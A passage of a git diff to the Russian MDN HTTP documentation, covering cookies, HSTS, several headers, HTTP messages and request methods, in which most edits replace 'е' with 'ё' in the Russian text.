            • <cookie-value> может быть опционально заключено в двойные кавычки,   разрешены любые символы US-ASCII за исключением CTLs, пробела, двойных кавычек, запятой, точки с запятой, и обратного слеша. Кодирование: Многие реализации выполняют кодирование в значениях cookies, однако этого не требуется по спецификации RFC.  Однако, это помогает удовлетворить требование о разрешённых символах в <cookie-value>.
            • +
            • __Secure- prefix {{non-standard_inline}}: Cookies с именем, начинающимся с   __Secure- (подчёркивание является частью префикса ) должны быть установлены вместе с флагом secure, и должны быть с безопасной страницы (HTTPS).
            • +
            • __Host- prefix {{non-standard_inline}}: Cookies с именем, начинающимся с __Host- должны быть установлены с флагом secure secure, должны быть с безопасной страницы (HTTPS),  не должны иметь определённый домен (и, следовательно, не не посылаются поддоменами), а также параметр Path должен быть "/".
            Expires=<date> {{optional_inline}}
            -

            Максимальное время жизни cookie в формате метки даты-времени HTTP.  См. {{HTTPHeader("Date")}} о деталях формата  Если не определен, cookie будет иметь время жизни сессионного cookie.   Сессия окончена, когда клиент отключается, что приводит к удалению сессионных cookie в этот момент. Однако, многие браузеры имеют возможность, называемую восстановление сессии, которая сохраняет все ваши вкладки и затем возвращает их, когда вы в следующий раз запускаете браузер. Cookies будут также присутствовать, словно вы никогда не закрывали браузер.

            +

            Максимальное время жизни cookie в формате метки даты-времени HTTP.  См. {{HTTPHeader("Date")}} о деталях формата  Если не определён, cookie будет иметь время жизни сессионного cookie.   Сессия окончена, когда клиент отключается, что приводит к удалению сессионных cookie в этот момент. Однако, многие браузеры имеют возможность, называемую восстановление сессии, которая сохраняет все ваши вкладки и затем возвращает их, когда вы в следующий раз запускаете браузер. Cookies будут также присутствовать, словно вы никогда не закрывали браузер.

            Когда устанавливается срок действия, время и дата устанавливаются не относительно сервера, а относительно клиента, на котором установлено cookie,

            @@ -86,7 +86,7 @@ Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
            Path=<path-value> {{optional_inline}}
            Путь, который должен существовать в запрошенном URL, иначе браузер не отправит заголовок Cookie.
            Пример: / - cookie будет отправляться со всеми запросами
            - Пример: /docs/ - cookie будет отправляться с запросами к директории docs и ее поддиректориям
            + Пример: /docs/ - cookie будет отправляться с запросами к директории docs и её поддиректориям
            Secure {{optional_inline}}
            Cookie будет отправлен на сервер только с запросами c использованием SSL и протокола HTTPS.

            @@ -124,14 +124,14 @@ Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> -

            Вместо истечения срока действия, когда клиент закрыт, срок действия постоянных файлов cookie истекает в определенную дату (Expires) или по истечении определенного промежутка времени (Max-Age).

            +

            Вместо истечения срока действия, когда клиент закрыт, срок действия постоянных файлов cookie истекает в определённую дату (Expires) или по истечении определённого промежутка времени (Max-Age).

            Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
             

            Неверные домены

            -

            Файл cookie, принадлежащий домену, который не включает исходный сервер, должен быть отклонен пользовательским. Следующий cookie будет отклонен, если он был установлен сервером, размещенным на originalcompany.com.

            +

            Файл cookie, принадлежащий домену, который не включает исходный сервер, должен быть отклонён пользовательским. Следующий cookie будет отклонён, если он был установлен сервером, размещённым на originalcompany.com.

            Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT
            diff --git a/files/ru/web/http/headers/strict-transport-security/index.html b/files/ru/web/http/headers/strict-transport-security/index.html index b4c6271a82..d5fa694237 100644 --- a/files/ru/web/http/headers/strict-transport-security/index.html +++ b/files/ru/web/http/headers/strict-transport-security/index.html @@ -6,7 +6,7 @@ original_slug: Web/HTTP/Заголовки/Strict-Transport-Security ---
            {{HTTPSidebar}}
            -

            HTTP Strict-Transport-Security  - заголовок ответа (часто используется аббревиатура {{Glossary("HSTS")}}), позволяющий web-сайтам уведомить браузер о том, что доступ к ним должен быть осуществлен только посредством HTTPS вместо HTTP.

            +

            HTTP Strict-Transport-Security  - заголовок ответа (часто используется аббревиатура {{Glossary("HSTS")}}), позволяющий web-сайтам уведомить браузер о том, что доступ к ним должен быть осуществлён только посредством HTTPS вместо HTTP.

            @@ -41,7 +41,7 @@ Strict-Transport-Security: max-age=<expire-time>; preload

            Описание

            -

            Если сайт поддерживает доступ с помощью HTTP и перенаправляет на HTTPS, посетители могут изначально коммуницировать с незащищенной версией сайта до перенаправления, если, к примеру, введут http://www.foo.com/ или даже просто foo.com. Это открывает возможности для атак посредников. Перенаправление может быть использовано для перевода посетителей на сайт злоумышленников вместо защищенной версии оригинального сайта.

            +

            Если сайт поддерживает доступ с помощью HTTP и перенаправляет на HTTPS, посетители могут изначально коммуницировать с незащищённой версией сайта до перенаправления, если, к примеру, введут http://www.foo.com/ или даже просто foo.com. Это открывает возможности для атак посредников. Перенаправление может быть использовано для перевода посетителей на сайт злоумышленников вместо защищённой версии оригинального сайта.

            HTTP Strict Transport Security заголовок сообщает браузеру, что тот никогда не должен загружать сайт через HTTP и всегда должен автоматически конвертировать все попытки доступа к сайту с помощью HTTP в HTTPS.

            @@ -53,7 +53,7 @@ Strict-Transport-Security: max-age=<expire-time>; preload

            Strict Transport Security разрешает эту проблему; пока вы подключены к вашему банковскому сайту с помощью HTTPS и тот использует Strict Transport Security, ваш браузер знает, что должен автоматически использовать только HTTPS, который не позволяет хакерам производить подобные атаки посредников.

            -

            Как ведет себя браузер

            +

            Как ведёт себя браузер

            При первом доступе к сайту с помощью HTTPS и возврате Strict-Transport-Security заголовка, браузер сохраняет эту информацию, чтобы в дальнейшем при загрузке сайта через HTTP тот автоматически использовал HTTPS.

            @@ -63,7 +63,7 @@ Strict-Transport-Security: max-age=<expire-time>; preload

            Предзагрузка Strict Transport Security

            -

            Google поддерживает HSTS preload service. Следуя инструкциям и удачно отправив свой домен, браузер никогда не подключится к вашему домену через незащищенное соединение. Так как сервис хостится Google, все браузеры должны изъявить о намерении использовать (или на самом деле начать пользоваться) предзагруженным списком. Однако, это не часть HSTS спецификации и не должно считаться официальным.

            +

            Google поддерживает HSTS preload service. Следуя инструкциям и удачно отправив свой домен, браузер никогда не подключится к вашему домену через незащищённое соединение. Так как сервис хостится Google, все браузеры должны изъявить о намерении использовать (или на самом деле начать пользоваться) предзагруженным списком. Однако, это не часть HSTS спецификации и не должно считаться официальным.

            • Информация о списке HSTS предзагрузки в Chrome : https://www.chromium.org/hsts
            • diff --git a/files/ru/web/http/headers/vary/index.html b/files/ru/web/http/headers/vary/index.html index 25d269b056..b0b114d3e3 100644 --- a/files/ru/web/http/headers/vary/index.html +++ b/files/ru/web/http/headers/vary/index.html @@ -35,7 +35,7 @@ Vary: <header-name>, <header-name>, ...
              *
              Каждый запрос должен рассматриваться как уникальный и не кэшируемый. Лучший способ указать это - использовать {{HTTPHeader ("Cache-Control")}}: no-store, который удобнее для чтения и также сигнализирует о том, что объект не должен храниться никогда.
              <header-name>
              -
              Разделенный запятыми список имен заголовков, которые необходимо учитывать при принятии решения о том, можно ли использовать кэшированный ответ.
              +
              Разделённый запятыми список имён заголовков, которые необходимо учитывать при принятии решения о том, можно ли использовать кэшированный ответ.

              Examples

              diff --git a/files/ru/web/http/headers/x-content-type-options/index.html b/files/ru/web/http/headers/x-content-type-options/index.html index 7271e86cd1..e037d5435d 100644 --- a/files/ru/web/http/headers/x-content-type-options/index.html +++ b/files/ru/web/http/headers/x-content-type-options/index.html @@ -13,7 +13,7 @@ original_slug: Web/HTTP/Заголовки/X-Content-Type-Options

              HTTP-заголовок ответа X-Content-Type-Options является маркером, используемым сервером для указания того, что типы MIME, объявленные в заголовках {{HTTPHeader ("Content-Type")}}, должны соблюдаться и не изменяться. Это позволяет отказаться от перехвата MIME, или, другими словами, это способ сказать, что веб-мастера знали, что они делают.

              -

              Этот HTTP-заголовок был введен Microsoft в IE 8 как способ для веб-мастеров блокировать происходящий перехват содержимого и может преобразовывать неисполняемые типы MIME в исполняемые типы MIME. С тех пор другие браузеры внедрили его, даже если их алгоритмы обработки MIME были менее агрессивными.

              +

              Этот HTTP-заголовок был введён Microsoft в IE 8 как способ для веб-мастеров блокировать происходящий перехват содержимого и может преобразовывать неисполняемые типы MIME в исполняемые типы MIME. С тех пор другие браузеры внедрили его, даже если их алгоритмы обработки MIME были менее агрессивными.

              Тестеры безопасности сайта обычно ожидают, что этот заголовок будет установлен.

              diff --git a/files/ru/web/http/headers/x-forwarded-for/index.html b/files/ru/web/http/headers/x-forwarded-for/index.html index 337bdaaacd..a8b990579c 100644 --- a/files/ru/web/http/headers/x-forwarded-for/index.html +++ b/files/ru/web/http/headers/x-forwarded-for/index.html @@ -16,7 +16,7 @@ original_slug: Web/HTTP/Заголовки/X-Forwarded-For

              Стандартизованной версией этого заголовка является HTTP {{HTTPHeader("Forwarded")}} заголовок.

              -

              X-Forwarded-For  также является заголовком электронной почты, указывающим, что сообщение электронной почты было отправлено из другой учетной записи.

              +

              X-Forwarded-For  также является заголовком электронной почты, указывающим, что сообщение электронной почты было отправлено из другой учётной записи.

            diff --git a/files/ru/web/http/headers/x-xss-protection/index.html b/files/ru/web/http/headers/x-xss-protection/index.html index 442fe6ab95..7bc5ec770b 100644 --- a/files/ru/web/http/headers/x-xss-protection/index.html +++ b/files/ru/web/http/headers/x-xss-protection/index.html @@ -22,7 +22,7 @@ original_slug: Web/HTTP/Заголовки/X-XSS-Protection diff --git a/files/ru/web/http/index.html b/files/ru/web/http/index.html index aec0b6c893..b1708e5627 100644 --- a/files/ru/web/http/index.html +++ b/files/ru/web/http/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTTP ---

            {{HTTPSidebar}}

            -

            Протокол передачи гипертекста (Hypertext Transfer Protocol - HTTP) - это прикладной протокол для передачи гипертекстовых документов, таких как HTML. Он создан для связи между веб-браузерами и веб-серверами, хотя в принципе HTTP может использоваться и для других целей. Протокол следует классической клиент-серверной модели, когда клиент открывает соединение для создания запроса, а затем ждет ответа. HTTP - это протокол без сохранения состояния, то есть сервер не сохраняет никаких данных (состояние) между двумя парами "запрос-ответ". Несмотря на то, что HTTP основан на TCP/IP, он также может использовать любой другой протокол транспортного уровня с гарантированной доставкой.

            +

            Протокол передачи гипертекста (Hypertext Transfer Protocol - HTTP) - это прикладной протокол для передачи гипертекстовых документов, таких как HTML. Он создан для связи между веб-браузерами и веб-серверами, хотя в принципе HTTP может использоваться и для других целей. Протокол следует классической клиент-серверной модели, когда клиент открывает соединение для создания запроса, а затем ждёт ответа. HTTP - это протокол без сохранения состояния, то есть сервер не сохраняет никаких данных (состояние) между двумя парами "запрос-ответ". Несмотря на то, что HTTP основан на TCP/IP, он также может использовать любой другой протокол транспортного уровня с гарантированной доставкой.

            @@ -69,7 +69,7 @@ translation_of: Web/HTTP
            Коды ответа (HTTP response codes)
            -
            Коды ответа HTTP указывают на результат выполнения определенного HTTP-запроса. Ответы сгруппированы в пять категорий: информационные ответы, удачные ответы, перенаправления, ошибки клиента и ошибки сервера.
            +
            Коды ответа HTTP указывают на результат выполнения определённого HTTP-запроса. Ответы сгруппированы в пять категорий: информационные ответы, удачные ответы, перенаправления, ошибки клиента и ошибки сервера.
            Директивы CSP
            Поля заголовка ответа {{HTTPHeader("Content-Security-Policy")}} позволяют администраторам веб-сайтов контролировать ресурсы, которые браузер пользователя может загрузить на данную веб-страницу. За некоторым исключением, эти политики связаны с указанием сервера-источника и адресов доступа (обращения) скриптов.
            diff --git a/files/ru/web/http/messages/index.html b/files/ru/web/http/messages/index.html index e41f8ceecf..2b63856539 100644 --- a/files/ru/web/http/messages/index.html +++ b/files/ru/web/http/messages/index.html @@ -36,7 +36,7 @@ translation_of: Web/HTTP/Messages

            Стартовая строка

            -

            HTTP запросы - это сообщения, отправляемые клиентом, чтобы инициировать реакцию со стороны сервера. Их стартовая строка состоит из трех элементов:

            +

            HTTP запросы - это сообщения, отправляемые клиентом, чтобы инициировать реакцию со стороны сервера. Их стартовая строка состоит из трёх элементов:

            1. @@ -44,7 +44,7 @@ translation_of: Web/HTTP/Messages
            2. Цель запроса, обычно {{glossary("URL")}}, или абсолютный путь протокола, порт и домен обычно характеризуются контекстом запроса. Формат цели запроса зависит от используемого HTTP-метода. Это может быть
                -
              • Абсолютный путь, за которым следует '?' и строка запроса. Это самая распространенная форма, называемая исходной формой (origin form) . Используется с методами GET, POST, HEAD, и OPTIONS.
                +
              • Абсолютный путь, за которым следует '?' и строка запроса. Это самая распространённая форма, называемая исходной формой (origin form) . Используется с методами GET, POST, HEAD, и OPTIONS.
                POST / HTTP 1.1
                GET /background.png HTTP/1.0
                HEAD /test.html?query=alibaba HTTP/1.1
                @@ -53,7 +53,7 @@ translation_of: Web/HTTP/Messages GET http://developer.mozilla.org/ru/docs/Web/HTTP/Messages HTTP/1.1
              • Компонента URL "authority", состоящая из имени домена и (необязательно) порта (предваряемого символом ':'), называется authority form. Используется только с методом CONNECT при установке туннеля HTTP.
                CONNECT developer.mozilla.org:80 HTTP/1.1
              • -
              • Форма звездочки (asterisk form), просто "звездочка" ('*') используется с методом OPTIONS и представляет сервер.
                +
              • Форма звёздочки (asterisk form), просто "звёздочка" ('*') используется с методом OPTIONS и представляет сервер.
                OPTIONS * HTTP/1.1
            3. @@ -133,7 +133,7 @@ translation_of: Web/HTTP/Messages
              • Заголовки, в отличие от тел, не сжимаются.
              • Заголовки, которые зачастую практически совпадают у идущих подряд сообщений, приходится передавать по отдельности.
              • -
              • Мультиплексность невозможна. Приходится открывать соединение для каждого сообщения, а теплые (warm) соединения TCP эффективнее холодных (cold).
              • +
              • Мультиплексность невозможна. Приходится открывать соединение для каждого сообщения, а тёплые (warm) соединения TCP эффективнее холодных (cold).

              HTTP/2 переходит на новый уровень: он делит сообщения HTTP/1.x на фреймы, которые внедряются в поток. Фреймы данных из заголовков отделены друг от друга, что позволяет сжимать заголовки. Несколько потоков можно объединять друг с другом - такой процесс называется мультиплексированием - что позволяет более эффективно использовать TCP-соединения.

              @@ -144,4 +144,4 @@ translation_of: Web/HTTP/Messages

              Заключение

              -

              Сообщения HTTP играют ключевую роль в использовании HTTP; они имеют простую структуру и хорошо расширяемы. Механизм фреймов в HTTP/2 добавляет еще один промежуточный уровень между синтаксисом HTTP/1.x и используемым им транспортным протоколом, не проводя фундаментальных изменений: создается надстройка над уже зарекомендовавшими себя методами.

              +

              Сообщения HTTP играют ключевую роль в использовании HTTP; они имеют простую структуру и хорошо расширяемы. Механизм фреймов в HTTP/2 добавляет ещё один промежуточный уровень между синтаксисом HTTP/1.x и используемым им транспортным протоколом, не проводя фундаментальных изменений: создаётся надстройка над уже зарекомендовавшими себя методами.

              diff --git a/files/ru/web/http/methods/connect/index.html b/files/ru/web/http/methods/connect/index.html index 755ffb6f10..21693bb37a 100644 --- a/files/ru/web/http/methods/connect/index.html +++ b/files/ru/web/http/methods/connect/index.html @@ -70,7 +70,7 @@ Proxy-Authorization: basic aGVsbG86d29ybGQ=

              Совместимость с браузером

              - +

              {{Compat("http.methods.CONNECT")}}

              diff --git a/files/ru/web/http/methods/delete/index.html b/files/ru/web/http/methods/delete/index.html index e263d3c2e0..912bdd96e1 100644 --- a/files/ru/web/http/methods/delete/index.html +++ b/files/ru/web/http/methods/delete/index.html @@ -57,7 +57,7 @@ translation_of: Web/HTTP/Methods/DELETE

              Если метод DELETE успешно выполняется, то возможны следующие коды состояния ответа:

                -
              •  {{HTTPStatus("202")}} (Accepted) код состояния, если удаление будет успешным, но еще не выполнено.
              • +
              •  {{HTTPStatus("202")}} (Accepted) код состояния, если удаление будет успешным, но ещё не выполнено.
              •  {{HTTPStatus("204")}} (No Content) код ответа, если удаление было выполнено, но тело ответа отсутствует.
              •  {{HTTPStatus("200")}} (OK) код ответа, если удаление было выполнено, и ответ содержит код и объект описывающий состояние.
              diff --git a/files/ru/web/http/methods/options/index.html b/files/ru/web/http/methods/options/index.html index a6f1d95b77..48dbde81de 100644 --- a/files/ru/web/http/methods/options/index.html +++ b/files/ru/web/http/methods/options/index.html @@ -9,7 +9,7 @@ translation_of: Web/HTTP/Methods/OPTIONS ---
              {{HTTPSidebar}}
              -

              HTTP-метод OPTIONS используется для описания параметров соединения с целевым ресурсом. Клиент может указать особый URL для обработки метода OPTIONS, или * (звездочку) чтобы указать весь сервер целиком.

              +

              HTTP-метод OPTIONS используется для описания параметров соединения с целевым ресурсом. Клиент может указать особый URL для обработки метода OPTIONS, или * (звёздочку) чтобы указать весь сервер целиком.

            -

            Запрещенное имя заголовка

            +

            Запрещённое имя заголовка

            {{Glossary("Forbidden header name")}}

            @@ -48,7 +48,7 @@ OPTIONS * HTTP/1.1

            Примеры

            -

            Определение разрешенных сервером методов запроса

            +

            Определение разрешённых сервером методов запроса

            Для того, чтобы узнать какие методы запросов поддерживаются сервером, можно воспользоваться curl направить OPTIONS запрос:

            diff --git a/files/ru/web/http/methods/patch/index.html b/files/ru/web/http/methods/patch/index.html index bbf8a73ad6..63c8ce82aa 100644 --- a/files/ru/web/http/methods/patch/index.html +++ b/files/ru/web/http/methods/patch/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTTP/Methods/PATCH

            Чтобы обозначить, что сервер поддерживает PATCH, можно добавить этот метод в список заголовков ответа {{HTTPHeader("Allow")}} или {{HTTPHeader("Access-Control-Allow-Methods")}} (для CORS).

            -

            Другой (неявный) индикатор, что PATCH разрешён, является наличие заголовка {{HTTPHeader("Accept-Patch")}}, где описано, в каком формате сервер принимает измененные документы.

            +

            Другой (неявный) индикатор, что PATCH разрешён, является наличие заголовка {{HTTPHeader("Accept-Patch")}}, где описано, в каком формате сервер принимает изменённые документы.

            diff --git a/files/ru/web/http/methods/post/index.html b/files/ru/web/http/methods/post/index.html index 5e0778692d..697b705b8f 100644 --- a/files/ru/web/http/methods/post/index.html +++ b/files/ru/web/http/methods/post/index.html @@ -11,12 +11,12 @@ translation_of: Web/HTTP/Methods/POST

            HTTP-метод POST предназначен для отправки данных на сервер. Тип тела запроса указывается в заголовке {{HTTPHeader("Content-Type")}}.

            -

            Разница между {{HTTPMethod("PUT")}} и POST состоит в том, что PUT является идемпотентным: повторное его применение дает тот же результат, что и при первом применении (то есть у метода нет побочных эффектов), тогда как повторный вызов одного и того же метода POST может иметь такие эффекты, как например, оформление одного и того же заказа несколько раз.

            +

            Разница между {{HTTPMethod("PUT")}} и POST состоит в том, что PUT является идемпотентным: повторное его применение даёт тот же результат, что и при первом применении (то есть у метода нет побочных эффектов), тогда как повторный вызов одного и того же метода POST может иметь такие эффекты, как например, оформление одного и того же заказа несколько раз.

            -

            Запрос POST обычно отправляется через форму HTML и приводит к изменению на сервере. В этом случае тип содержимого выбирается путем размещения соответствующей строки в атрибуте {{htmlattrxref ("enctype", "form")}} элемента {{HTMLElement ("form")}} или {{htmlattrxref ("formenctype", "input")}} атрибута элементов {{HTMLElement ("input")}} или {{HTMLElement ("button")}}:

            +

            Запрос POST обычно отправляется через форму HTML и приводит к изменению на сервере. В этом случае тип содержимого выбирается путём размещения соответствующей строки в атрибуте {{htmlattrxref ("enctype", "form")}} элемента {{HTMLElement ("form")}} или {{htmlattrxref ("formenctype", "input")}} атрибута элементов {{HTMLElement ("input")}} или {{HTMLElement ("button")}}:

              -
            • application/x-www-form-urlencoded: значения кодируются в кортежах с ключом, разделенных символом '&', с '=' между ключом и значением. Не буквенно-цифровые символы - {{glossary ("percent encoded")}}: это причина, по которой этот тип не подходит для использования с двоичными данными (вместо этого используйте multipart/form-data)
            • +
            • application/x-www-form-urlencoded: значения кодируются в кортежах с ключом, разделённых символом '&', с '=' между ключом и значением. Не буквенно-цифровые символы - {{glossary ("percent encoded")}}: это причина, по которой этот тип не подходит для использования с двоичными данными (вместо этого используйте multipart/form-data)
            • multipart/form-data: каждое значение посылается как блок данных ("body part"), с заданными пользовательским клиентом разделителем ("boundary"), разделяющим каждую часть. Эти ключи даются в заголовки Content-Disposition каждой части
            • text/plain
            diff --git a/files/ru/web/http/methods/put/index.html b/files/ru/web/http/methods/put/index.html index c759172730..60a1d0df58 100644 --- a/files/ru/web/http/methods/put/index.html +++ b/files/ru/web/http/methods/put/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTTP/Methods/PUT ---
            {{HTTPSidebar}}
            -
            Метод запроса HTTP PUT создает новый ресурс или заменяет представление целевого ресурса, данными представленными в теле запроса.
            +
            Метод запроса HTTP PUT создаёт новый ресурс или заменяет представление целевого ресурса, данными представленными в теле запроса.
            @@ -63,7 +63,7 @@ Content-length: 16

            Ответ

            -

            Если целевой ресурс не содержит отправляемой сущности и PUT запрос создает ее, то сервер должен проинформировать клиентское приложение о создании, отправив в ответ {{HTTPStatus("201")}} (Created).

            +

            Если целевой ресурс не содержит отправляемой сущности и PUT запрос создаёт её, то сервер должен проинформировать клиентское приложение о создании, отправив в ответ {{HTTPStatus("201")}} (Created).

            HTTP/1.1 201 Created
             Content-Location: /new.html
            diff --git a/files/ru/web/http/overview/index.html b/files/ru/web/http/overview/index.html
            index e4b79afce4..28144e2bc7 100644
            --- a/files/ru/web/http/overview/index.html
            +++ b/files/ru/web/http/overview/index.html
            @@ -16,7 +16,7 @@ translation_of: Web/HTTP/Overview
             
             

            Клиенты и серверы взаимодействуют, обмениваясь одиночными сообщениями (а не потоком данных). Сообщения, отправленные клиентом, обычно веб-браузером, называются запросами, а сообщения, отправленные сервером, называются ответами.

            -

            HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.Хотя HTTP был разработан  еще в начале 1990-х годов, за счет своей расширяемости в дальнейшем он все время совершенствовался.  HTTP является протоколом прикладного уровня, который чаще всего использует возможности другого протокола - {{glossary("TCP")}} (или {{glossary("TLS")}} - защищённый TCP) - для пересылки своих сообщений, однако любой другой надежный транспортный протокол теоретически может быть использован для доставки таких сообщений. Благодаря своей расширяемости, он используется не только для получения клиентом гипертекстовых документов, изображений и видео, но и для передачи содержимого серверам, например, с помощью HTML-форм. HTTP также может быть использован для получения только частей документа с целью обновления веб-страницы по запросу (например посредством AJAX запроса).

            +

            HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.Хотя HTTP был разработан  ещё в начале 1990-х годов, за счёт своей расширяемости в дальнейшем он все время совершенствовался.  HTTP является протоколом прикладного уровня, который чаще всего использует возможности другого протокола - {{glossary("TCP")}} (или {{glossary("TLS")}} - защищённый TCP) - для пересылки своих сообщений, однако любой другой надёжный транспортный протокол теоретически может быть использован для доставки таких сообщений. Благодаря своей расширяемости, он используется не только для получения клиентом гипертекстовых документов, изображений и видео, но и для передачи содержимого серверам, например, с помощью HTML-форм. HTTP также может быть использован для получения только частей документа с целью обновления веб-страницы по запросу (например посредством AJAX запроса).

            Составляющие систем, основанных на HTTP

            @@ -60,23 +60,23 @@ translation_of: Web/HTTP/Overview

            HTTP - прост

            -

            Даже с большей сложностью, введенной в HTTP/2 путем инкапсуляции HTTP-сообщений в фреймы, HTTP, как правило, прост и удобен для восприятия человеком. HTTP-сообщения могут читаться и пониматься людьми, обеспечивая более легкое тестирование разработчиков и уменьшенную сложность для новых пользователей.

            +

            Даже с большей сложностью, введённой в HTTP/2 путём инкапсуляции HTTP-сообщений в фреймы, HTTP, как правило, прост и удобен для восприятия человеком. HTTP-сообщения могут читаться и пониматься людьми, обеспечивая более лёгкое тестирование разработчиков и уменьшенную сложность для новых пользователей.

            HTTP - расширяемый

            -

            Введенные в HTTP/1.0 HTTP-заголовки сделали этот протокол легким для расширения и экспериментирования. Новая функциональность может быть даже введена простым соглашением между клиентом и сервером о семантике нового заголовка.

            +

            Введённые в HTTP/1.0 HTTP-заголовки сделали этот протокол лёгким для расширения и экспериментирования. Новая функциональность может быть даже введена простым соглашением между клиентом и сервером о семантике нового заголовка.

            HTTP не имеет состояния, но имеет сессию

            -

            HTTP не имеет состояния: не существует связи между двумя запросами, которые последовательно выполняются по одному соединению. Из этого немедленно следует возможность проблем для пользователя, пытающегося взаимодействовать с определенной страницей последовательно, например, при использовании корзины в электронном магазине. Но хотя ядро HTTP не имеет состояния, куки позволяют использовать сессии с сохранением состояния. Используя расширяемость заголовков, куки добавляются к рабочему потоку, позволяя сессии на каждом HTTP-запросе делиться некоторым контекстом, или состоянием.

            +

            HTTP не имеет состояния: не существует связи между двумя запросами, которые последовательно выполняются по одному соединению. Из этого немедленно следует возможность проблем для пользователя, пытающегося взаимодействовать с определённой страницей последовательно, например, при использовании корзины в электронном магазине. Но хотя ядро HTTP не имеет состояния, куки позволяют использовать сессии с сохранением состояния. Используя расширяемость заголовков, куки добавляются к рабочему потоку, позволяя сессии на каждом HTTP-запросе делиться некоторым контекстом, или состоянием.

            HTTP и соединения

            -

            Соединение управляется на транспортном уровне, и потому принципиально выходит за границы HTTP. Хотя HTTP не требует, чтобы базовый транспортного протокол был основан на соединениях,  требуя только надёжность, или отсутствие потерянных сообщений (т.е. как минимум представление ошибки). Среди двух наиболее распространенных транспортных протоколов Интернета, TCP надёжен, а UDP -- нет. HTTP впоследствии полагается на стандарт TCP, являющийся основанным на соединениях, несмотря на то, что соединение не всегда требуется.

            +

            Соединение управляется на транспортном уровне, и потому принципиально выходит за границы HTTP. Хотя HTTP не требует, чтобы базовый транспортного протокол был основан на соединениях,  требуя только надёжность, или отсутствие потерянных сообщений (т.е. как минимум представление ошибки). Среди двух наиболее распространённых транспортных протоколов Интернета, TCP надёжен, а UDP -- нет. HTTP впоследствии полагается на стандарт TCP, являющийся основанным на соединениях, несмотря на то, что соединение не всегда требуется.

            -

            HTTP/1.0 открывал TCP-соединение для каждого обмена запросом/ответом, имея два важных недостатка: открытие соединения требует нескольких обменов сообщениями, и потому медленно, хотя становится более эффективным при отправке нескольких сообщений, или при регулярной отправке сообщений: теплые соединения более эффективны, чем холодные.

            +

            HTTP/1.0 открывал TCP-соединение для каждого обмена запросом/ответом, имея два важных недостатка: открытие соединения требует нескольких обменов сообщениями, и потому медленно, хотя становится более эффективным при отправке нескольких сообщений, или при регулярной отправке сообщений: тёплые соединения более эффективны, чем холодные.

            -

            Для смягчения этих недостатков, HTTP/1.1 предоставил конвейерную обработку (которую оказалось трудно реализовать) и устойчивые соединения: лежащее в основе TCP соединение можно частично контролировать через заголовок  {{HTTPHeader("Connection")}}. HTTP/2 сделал следующий шаг, добавив мультиплексирование сообщений через простое соединение, помогающее держать соединение теплым и более эффективным.

            +

            Для смягчения этих недостатков, HTTP/1.1 предоставил конвейерную обработку (которую оказалось трудно реализовать) и устойчивые соединения: лежащее в основе TCP соединение можно частично контролировать через заголовок  {{HTTPHeader("Connection")}}. HTTP/2 сделал следующий шаг, добавив мультиплексирование сообщений через простое соединение, помогающее держать соединение тёплым и более эффективным.

            Проводятся эксперименты по разработке лучшего транспортного протокола, более подходящего для HTTP. Например, Google экспериментирует с QUIC, которая основана на  UDP, для предоставления более надёжного и эффективного транспортного протокола.

            @@ -96,7 +96,7 @@ translation_of: Web/HTTP/Overview
          • Прокси и туннелирование
            Серверы и/или клиенты часто располагаются в интернете, и скрывают свои истинные IP-адреса от других. HTTP запросы идут через прокси для пересечения этого сетевого барьера. Не все прокси -- HTTP прокси. SOCKS-протокол, например, оперирует на более низком уровне. Другие, как, например, ftp, могут быть обработаны этими прокси.
          • Сессии
            - Использование HTTP кук позволяет связать запрос с состоянием на сервере. Это создает сессию,  хотя ядро HTTP -- протокол без состояния.  Это полезно не только для корзин в интернет-магазинах, но также для любых сайтов, позволяющих пользователю настроить выход.
          • + Использование HTTP кук позволяет связать запрос с состоянием на сервере. Это создаёт сессию,  хотя ядро HTTP -- протокол без состояния.  Это полезно не только для корзин в интернет-магазинах, но также для любых сайтов, позволяющих пользователю настроить выход.

            HTTP поток

            @@ -125,13 +125,13 @@ Content-Type: text/html
          • Закрывает или переиспользует соединение для дальнейших запросов.
          • -

            Если активирован HTTP-конвейер, несколько запросов могут быть отправлены без ожидания получения первого ответа целиком. HTTP-конвейер тяжело внедряется в существующие сети, где старые куски ПО сосуществуют с современными версиями.  HTTP-конвейер был заменен в HTTP/2 на более надежные мультиплексные запросы во фрейме.

            +

            Если активирован HTTP-конвейер, несколько запросов могут быть отправлены без ожидания получения первого ответа целиком. HTTP-конвейер тяжело внедряется в существующие сети, где старые куски ПО сосуществуют с современными версиями.  HTTP-конвейер был заменён в HTTP/2 на более надёжные мультиплексные запросы во фрейме.

            HTTP сообщения

            HTTP/1.1 и более ранние HTTP сообщения человеко-читаемы. В версии HTTP/2 эти сообщения встроены в новую бинарную структуру, фрейм, позволяющий оптимизации, такие как компрессия заголовков и мультиплексирование. Даже если часть оригинального HTTP сообщения отправлена в этой версии HTTP, семантика каждого сообщения не изменяется и клиент воссоздаёт (виртуально) оригинальный HTTP-запрос. Это также полезно для понимания HTTP/2 сообщений в формате HTTP/1.1.

            -

            Существует два типа HTTP сообщений, запросы и ответы, каждый в своем формате.

            +

            Существует два типа HTTP сообщений, запросы и ответы, каждый в своём формате.

            Запросы

            @@ -167,6 +167,6 @@ Content-Type: text/html

            Вывод

            -

            HTTP -- легкий в использовании расширяемый протокол. Структура клиент-сервера, вместе со способностью к простому добавлению заголовков, позволяет HTTP продвигаться вместе с расширяющимися возможностями Сети.

            +

            HTTP -- лёгкий в использовании расширяемый протокол. Структура клиент-сервера, вместе со способностью к простому добавлению заголовков, позволяет HTTP продвигаться вместе с расширяющимися возможностями Сети.

            -

            Хотя HTTP/2 добавляет некоторую сложность, встраивая HTTP сообщения во фреймы для улучшения производительности, базовая структура сообщений осталась с HTTP/1.0. Сессионный поток остается простым, позволяя исследовать и отлаживать с простым монитором HTTP-сообщений.

            +

